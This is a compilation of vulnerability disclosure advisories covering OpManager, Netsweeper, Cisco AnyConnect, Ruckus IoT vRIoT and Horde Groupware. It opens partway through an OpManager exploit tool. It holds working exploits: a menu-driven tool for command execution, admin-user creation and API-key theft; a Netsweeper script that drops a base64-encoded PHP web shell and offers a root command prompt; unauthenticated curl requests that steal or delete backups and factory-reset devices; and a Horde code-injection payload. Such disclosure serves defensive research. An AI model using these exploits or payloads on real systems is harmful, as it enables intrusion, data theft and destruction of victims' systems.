            headers = {'X-ZCSRF-TOKEN': 'opmcsrftoken='+sess.cookies.get_dict()['opmcsrfcookie']}
            cmd_r = sess.post(self.url+'/client/api/json/admin/testNProfile',headers=headers,verify=False,data=cmd_d,allow_redirects=False)
        else:
            cmd_d = {'command':command,'selectedseverities':'1,2,3,4','checkeddevicemissespolls':'true','noofpolls':'1','deviceCategory':'iv_12','twoption':'All','profileType':'Run System Command','name':'as'}
            cmd_r = sess.post(self.url+'/api/json/admin/testNProfile?apiKey='+self.api_key,verify=False,data=cmd_d,allow_redirects=False)
        try:
            output = json.loads(cmd_r.text)
        except:
            print '[-] Invalid Response data from RCE request'
            self.DeleteUser()
            return False
        if output.keys()[0] == 'result':
            print '[+] Command successfully executed: {}'.format(output)
        print '[+] Done with RCE, Cleaning up user'
        self.DeleteUser()
        return True

    def Exploit(self):
        print '[+] Starting Exploit\n[+] Please choose operation'
        print '\t1) Execute Shell Command\n\t2) Add an admin user\n\t3) Delete a user\n\t4) Leak admin API Key'
        ch = raw_input("Choice> ")
        if ch == '1':
            self.ExecuteCommand()
        elif ch == '2':
            self.AddUser(interact=True)
        elif ch == '3':
            self.DeleteUser(interact=True)
        elif ch == '4':
            self.LeakApiKey()
        else:
            print '[-] wth is {}'.format(ch)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print '[+] Usage: {} <url>'.format(sys.argv[0])
        exit(1)
    ex = OpManagerExploit(sys.argv[1].strip())
    if ex.FindVer() == False:
        exit(1)
    
    ex.Exploit()

SSD Advisory – Netsweeper PreAuth RCE

Vulnerability Summary

Netsweeper provides real-time content monitoring and reporting for early intervention.

CVE

CVE-2020-13167

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Netsweeper webadmin version 6.4.3 and prior.

Vendor Response

We were unable to establish contact with Netsweeper, we have tried to reach their sales@ support@ email addresses as well as via twitter.

Vulnerability Details

The vulnerable endpoint is located at /webadmin/tools/unixlogin.php this script receives the three variables ‘login’, ‘password’, and ‘timeout’ from user then checks if referrer header contains a value that is in the array

$page = array ( "webadmin/admin/service_manager_data.php",
        "webadmin/systemconfig/grant_db_access.php",
        "webadmin/systemconfig/edit_email_sending_settings.php",
        "systemconfig/edit_file.php",
        "systemconfig/edit_database_settings.php",
        "systemconfig/manage_certs.php",
        "webadmin/api/");

If header contains one of the above strings and the user supplied variables are not empty the script the executes the command

$command authcheck $esclogin $escpassword

Where

$command = "sudo $NS_PATH/bin/service.sh";
$esclogin = escapeshellarg($login);
$escpassword = escapeshellarg($password);

Meaning that script `service.sh` is launched and the 2nd and 3rd parameters are the login and password supplied by the user.

In the authcheck functionality of the `service.sh` script the command

password=$($PYTHON -c "import crypt; print crypt.crypt('$2','\$$algo\$$salt\$')")

Gets executed, the 2nd parameter, which is the password parameter gets joined in to the Python crypt function as the first value to be passed, meaning we can control the rest of the Python command by using a well crafted password. For example, if the password is `g’,”);import os;os.system(‘echo ‘hello’ >/tmp/pwnd’)#’` it would make the command being run

($P>YTHON -c "import crypt; print crypt.crypt('g','');import os;os.system('id >/tmp/pwnd')#','\$$algo\$$salt\$')")

which results in a RCE.

Demo

Exploit

import requests,sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exec_cmd(cmd,url):
    cmd = cmd.encode().hex()
    payload = "g','');import os;os.system('{}'.decode('hex'))#".format(cmd)
    payload = urllib.parse.quote(payload)

    headers  ={
    'Referer':'localhost/webadmin/admin/service_manager_data.php'
    }

    response = requests.get('{}/webadmin/tools/unixlogin.php?login=admin&password={}&timeout=5'.format(url,payload),headers=headers,verify=False)
    if (response.status_code!=200):
    	print("ERROR: server responded with status code {} instead of 200 ".format(response.status_code))
    	print("[!] : make sure this is a netsweeper server")
    	sys.exit(-1)

if __name__ == "__main__":

    if len(sys.argv)< 3:
    	print("[-] Usage: {} URL [shell_upload|execute_root_command]".format(sys.argv[0]))
    	sys.exit(-1)
    if sys.argv[2]=='shell_upload':
        cmd = "echo PGZvcm0gbWV0aG9kPSdQT1NUJz48aW5wdXQgdHlwZT0nVEVYVCcgbmFtZT0nYyc+PGlucHV0IHR5cGU9J1NVQk1JVCcgdmFsdWU9J0V4ZWN1dGUnPjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnYyddKSl7ZWNobyAnPHByZT4nO3N5c3RlbSgkX1BPU1RbJ2MnXSk7ZWNobyAnPC9wcmU+Jzt9Cg== | base64 -d > /usr/local/netsweeper/webadmin/shell.php"
        exec_cmd(cmd,sys.argv[1])
        print ("shell uploaded at : {}{}".format(sys.argv[1],'/webadmin/shell.php'))
    if sys.argv[2]=='execute_root_command':
    	cmd = input('root#')
    	cmd =  cmd +" > /usr/local/netsweeper/webadmin/out"
    	exec_cmd (cmd,sys.argv[1])
    	result = requests.get('{}/webadmin/out'.format(sys.argv[1]),verify=False)
    	print (result.content.decode("utf-8"))
    	exec_cmd('rm -rf /usr/local/netsweeper/webadmin/out',sys.argv[1])

SSD Advisory – Cisco AnyConnect Privilege Elevation through Path Traversal

Vulnerability Summary
The update functionality of the Cisco AnyConnect Secure Mobility Client for Windows is affected by a path traversal vulnerability that allows local attackers to create/overwrite files in arbitrary locations. Successful exploitation of this vulnerability allows the attacker to gain SYSTEM privileges.

Credit
An independent Security Researcher, Yorick Koster, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Cisco AnyConnect Secure Mobility Client for Windows, Version 4.8.01090.

CVE
CVE-2020-3153

Vendor Response
Cisco has released a patch, available from: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj

Vulnerability Details
Cisco AnyConnect Secure Mobility Client contains functionality to auto-update itself. Auto-update also works for low-privileged users, which is possible because the update is initiated from a service called Cisco AnyConnect Secure Mobility Agent and is running with SYSTEM privileges. This service exposes TCP port 62522 on the loopback device to which clients can connect and send commands to be handled by this service. One of these command is to launch the vpndownloader application and update AnyConnect.

A path traversal vulnerability exists in the vpndownloader application for Windows that allows a local user to create and run files outside of the temporary installer folder. Successful exploitation of this vulnerability allows a local attacker to gain SYSTEM privileges.

The AnyConnect auto-update functionality has been affected by a number of vulnerabilities in the past that can be abused by local users to gain SYSTEM privileges (eg. Kostya Kortchinsky, Securify, Project Zero, SerializingMe). Cisco has made a number of changes to mitigate these attacks, amongst these changes are:

  • Executables need to have a valid Authenticode signature from Cisco Systems, Inc.
  • (New) versions of vpndownloader.exe are copied to %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Downloader.
  • Proper NTFS Permissions are (now) set on the %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\ folder.
  • the vpndownloader.exe executable must have vpndownloader.exe configured as the original filename in its version information.
  • When vpndownloader.exe launches additional installation files, these files also need to have a valid Authenticode signature from Cisco Systems, Inc..
  • Installation files are copied in a separate temporary folder under %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer before they are executed.

In a nutshell, the auto-update mechanism works by send a message to the AnyConnect Agent to launch vpndownloader.exe and instruct it to perform a certain action (as command line argument). This action is either moving/copying a profile (XML) file to a profile folder or launch a Cisco signed installer file. Technically, this doesn’t need to be an installer file, any Cisco signed executable will do. When vpndownloader.exe is instructed to run an installer file, the file is first copied to a temporary folder under %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer.

After the file has been copied, the digital signature is checked including the signer of the file. If all checks out, the file is launched from the temporary folder and the folder is deleted after execution has completed.
Because the executable is copied to a new temporary folder, and the folder has proper NTFS permissions, it is not possible to perform a file/DLL planting attack to run arbitrary code. In addition, the file must be signed by Cisco and the signature must be valid, preventing the execution of arbitrary executable.

A path traversal vulnerability exists in the step where the (user-supplied) executable is copied into the temporary folder. vpndownloader.exe will extract the target file name from the source file name. Essentially it does this by searching for the last occurrence of the backslash (\) character in the source path, the right part after the backslash is treated as the filename and is used as the target file name. AnyConnect does not take into account that the Windows API also accepts the forward slash (/) as directory separator character. Because of this it is possible to cause vpndownloader.exe to create files outside its temporary folder.

Since the signature verification is done after the file is copied, it is possible for an attacker to copy any file to any location residing on the same volume as %ProgramData% (generally C:\). Copying of the file is done with SYSTEM privileges – when vpndownloader.exe is launched through the AnyConnect Agent. If the target file exists and SYSTEM has write access to this file, it will be overwritten with the attacker-supplied file. This alone is enough for a local user to gain elevated privileges.

Another attack scenario is to hijack a DLL that is loaded by a Cisco signed executable. Most Cisco executable are affected by DLL hijacking, a common DLL that is used by Cisco applications is the dbghelp.dll file. The attack consists of two steps:

  1. Create an attacker-controlled dbghelp.dll file outside of the temporary folder to prevent removal, traversing one folder up is enough.
  2. Launch a Cisco signed executable which is vulnerable to DLL hijacking from the same folder, again using the path traversal vulnerability.

When the Cisco signed executable is launched through the AnyConnect Agent, it will also run with SYSTEM privileges. The code in the attacker-controlled DLL will also run with these privileges. The application itself is opened within Session 0. Windows 10 1803 has removed the Interactive Services Detection Service, which makes it impossible for users to interact with any GUI displayed in Session 0. This of course does nothing to stop an attacker from gaining SYSTEM privileges, but it does require an additional step for the attacker to launch a GUI application with elevated privileges.

Exploit
The POC is a PowerShell module which has the function Invoke-ExploitAnyConnectPathTraversal. This function has two modes.

Without arguments:
This mode tries to hijack %ProgramFiles%\Common Files\microsoft shared\ink\HID.dll, which is used by the on-screen keyboard. Run the following commands in a PowerShell prompt:

  1. Import-Module .-ExploitAnyConnectPathTraversal.psm1
  2. Invoke-ExploitAnyConnectPathTraversal
  3. Lock the Windows session or sign out
  4. Open accessibility tools in the login screen and launch the on-screen keyboard

A PowerShell prompt should open (behind the keyboard) running as SYSTEM. (Note that the on-screen keyboard of Windows 7 isn’t affected by this DLL hijack).

With arguments:
Running the function with arguments will create three files within %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer:

  • payload.bat
  • dbghelp.dll
  • cstub.exe

cstub.exe is a Cisco signed executable, which will be launched by vpndownloader. dbghelp.dll is hijacked to run payload.bat. The provided argument(s) are written to payload.bat and thus will run as SYSTEM.

  1. Import-Module .-ExploitAnyConnectPathTraversal.psm1
  2. Invoke-ExploitAnyConnectPathTraversal

SSD Advisory – Ruckus IoT vRIoT Server Vulnerabilities

Vulnerability Summary
The Ruckus IoT Suite is a collection of network hardware and software infrastructure used to enable multi-standard Internet of Things devices access the network. The IoT Controller, part of the IoT Suite, is a virtual controller that performs connectivity, device and security management for non Wi-Fi devices.
Many functionalities are exposed by the IoT Controller which naturally require a form of authentication. Authentication is present in the Controller in the form of a login mechanism, but there are many functions which ignore the authentication of a user and allow unauthorized users to issue different commands, resulting in potential security breaches.

CVE
CVE-2020-8005

Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Ruckus IoT vRIoT Version 1.4

Vendor Response
Placeholder

Vulnerability Details
There are multiple unprotected functions in the Controller portal of the Ruckus IoT server. Many functions, such as changing the admin password, are protected by authentication and return a 401 Unauthorized when called without supplying an authentication header or cookie, proving one is an authorized user of the system. But there are many other functions which aren’t protected and a remote unauthenticated user can use them to gain privileged access and disable privileged processes or access sensitive data. Many exploitable bugs were found, which include:

  1. Remote pre-auth configuration manipulation
  2. Full access to backups including restoration, retrieval and deletion of backups.
  3. Downgrading and upgrading firmware versions
  4. Control of system services
  5. Remote factory reset of the server

There are 3 other unprotected functions which yield unclear security impact and were not investigated further, but are nevertheless included.

Reproduction
Remote Configuration Change
The service located at /service/init is responsible for configuration management. When sending it an HTTP PATCH request, the supplied JSON formatted configuration will be interpreted and saved. This allows the configuration of different important settings such as DNS servers.

curl -i -s -k -X 'PATCH'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5'                                           \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 267'                                                                        \
-H 'Connection: close'                                                                          \
--data-binary '{"configurations":{"hostname":"vriot1","dns":"8.8.8.8","timezone":"America/Los_Angeles","ipv4_mode_radio":"1","ip-address":"iot-server","dns2":"8.8.4.4","gateway":"10.10.10.1","subnet-mask":"255.255.255.0","systemtime":["1",null,"ntp.ubuntu.com"],"key":"","cert":""}}' \
'https://iot-server/service/init'

The device needs to reboot it’s services, which should all happen automatically as part of it’s routine, and only then the change will take effect.


Manipulation of Arbitrary Backups
The backup manipulation service, which is located at /service/v1/db, allows for three operations: loading, downloading and deletion of backup files.
Loading backups:
When sending an HTTP POST request to /service/v1/db/restore the server will restore the backups file requested in the request body. This name can be either known beforehand or bruteforced, as the filename follows a specific pattern.

curl -i -s -k -X 'POST'                                                                         \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/restore'

Device will reboot to restore the arbitrarily chosen backup
Downloading backups:
Sending an HTTP GET to /service/v1/db/backup with filename as a parameter will yield you the requested backup file. This name can either be known beforehand or brute forced easily.

curl -i -s -k -X 'GET'                                                                          \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
'https://iot-server/service/v1/db/backup?fileName=VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz'
HTTP/1.1 200 OK
...
{"message": {"ok": 1, "file_path": "/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}}
wget https://iot-server/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz

Deleting backups:
Sending an HTTP DELETE request to /service/v1/db/backup will enable the deletion of backup files. The filename of the backup is supplied through the parameter.

curl -i -s -k -X 'DELETE'                                                                       \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-03-53-40_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/backup'

Firmware Version Manipulation
The service located in /service/upgrade/flow allows changing the firmware of the device. This allows downgrade attacks, where a potential attacker may change the firmware to a vulnerable one.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 24'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"version":"1.4.0.0.17"}'                                                        \
'https://iot-server/service/upgrade/flow'

The device will reboot if the supplied firmware version exists.


Service Manipulation
The service located at /module/ allows for three operations: stop, start and restart. The operation can be appended URL, and the name of the process is specified using the parameter. The name of the process can be retrieved through a terminal of a machine running the operating system, like a virtual machine.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 23'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"process":"core:mqtt"}'                                                         \
'https://iot-server/module/stop'

Remote Factory Reset
The service running at /reset enable issuing a factory reset of the machine. This deletes all configurations and information stored on the machine. This functionality enables an attacker to create a Denial of Service attack.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
-H 'Content-Length: 0'                                                                          \
'https://iot-server/reset'

Additional Bugs (unknown impacts)

  • Upload new images
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"test.image\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/upgrade/upload'
    
  • Upload patches
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name="\file\"; filename=\"test.patch\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/patch/upload'
    
  • Diagnostic Data (The generate diagnostic data button is protected and must already have been generated by an admin prior)
    curl -i -s -k  -X 'GET'                                                                         \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'                    \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'Connection: close'                                                                          \
    -H 'Upgrade-Insecure-Requests: 1'                                                               \
    'https://iot-server/static/diagnostic/diagnostic_2019-09-26-20-43-42.tar.gz'
    

SSD Advisory – Horde Groupware Webmail Edition Remote Code Execution

Vulnerability Summary
The Horde project comprises of several standalone applications and libraries. The Horde Groupware Webmail Edition suite bundles several of them by default, among those, Data is a library used to manager data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.
The function in charge of parsing the CSV format uses create_function in a way that enables injection of arbitrary PHP code, thus enabling Remote Code Execution on the server hosting the web application.

CVE
Placeholder

Credit
An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Horde Groupware Webmail Edition Version 5.2.22

Vendor Response
Placeholder

Vulnerability Details
A vulnerable CVE parsing feature is used by several Horde applications:

  • Turba (address book; via /turba/data.php)
  • Mnemo (notes; via /mnemo/data.php)
  • Nag (tasks; via /nag/data.php)
  • Kronolith (calendar)

By using one of these, an authenticated user can execute arbitrary PHP and shell code as the user that runs the web server, usually www-data.
In the master branch of the Data repository, a commit replaced create_function with a lambda function (as suggested by PHP that deprecated create_function in version 7.2.0), yet apparently the authors failed to recognize the exploitable status of prior code so they did not release a new version. So, when installing Horde via PEAR or Debian APT, it yields the vulnerable version (2.1.4).
Since this vulnerability does not concern IMP (the Horde webmail application) specifically, it is likely that the vulnerability affects regular Horde Groupware installations as well.


In the file lib/Horde/Data/Csv.php the following snippet is used to parse a CSV line:

if ($row) {
    $row = (strlen($params['quote']) && strlen($params['escape']))
        ? array_map(create_function('$a', 'return str_replace(\'' . str_replace('\'', '\\\'', $params['escape'] . $params['quote']) . '\', \'' . str_replace('\'', '\\\'', $params['quote']) . '\', $a);'), $row)
        : array_map('trim', $row);
}

Among the other things, the user supplies $params['quote'], so for example if its value is quote then create_function is called as:

create_function('$a', "return str_replace('\\quote', 'quote', \$a);")

The insufficient sanitization of $params['quote'] escapes ’ as \’ but fails to escape the \ itself thus allowing to escape the last hard coded ’. By passing quote\, create_function is called as:

create_function('$a', "return str_replace('\\quote\\', 'quote\\', \$a)")

And evaluated body is:

return str_replace('\quote\', 'quote\', $a);

Which causes a syntax error. (Note how the first string argument of str_replace now terminates at the first ‘ of the second instance of quote)
Using a simple payload that executes the id shell command and returns the output in the response:

).passthru("id").die();}//\

Where the evaluated body eventually is:

return str_replace('\).passthru(id).die();}//\', ').passthru(id).die();}//\', $a);

Here is an explanation of its parts:

  1. ) terminates str_replace
  2. The concatenation operator (.) continues the expression since the code starts with a return
  3. passthru("id") is an example of the actual payload to be executed
  4. die() is needed because create_function is used inside array_map thus if it can be called multiple times and it also aborts the rest of the page
  5. } terminates the block function (...) {...} used by the implementation of create_function, otherwise the following // would comment out } causing a syntax error
  6. // comments out the remaining invalid PHP code
  7. \ escapes the hard coded string as shown above.

Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:

).passthru(base64_decode("aWQ=")).die();}//\

Proof of Concept
Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.

Manual Exploit
This vulnerability can be easily exploited manually by any registered user:

  1. Log into Horde
  2. Navigate to http://target.com/mnemo/data.php
  3. Select any non-empty file to import then click “Next”
  4. In the input field labeled by “What is the quote character?” write the payload, e.g ).passthru("id").die();}//\ and click “Next”
  5. The output of the command should be returned:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell Exploit
You can also write simple script to automate the steps above. Example scripts are available on our GitHub repository: SSD Horde Groupware Webmail Advisory GitHub Repository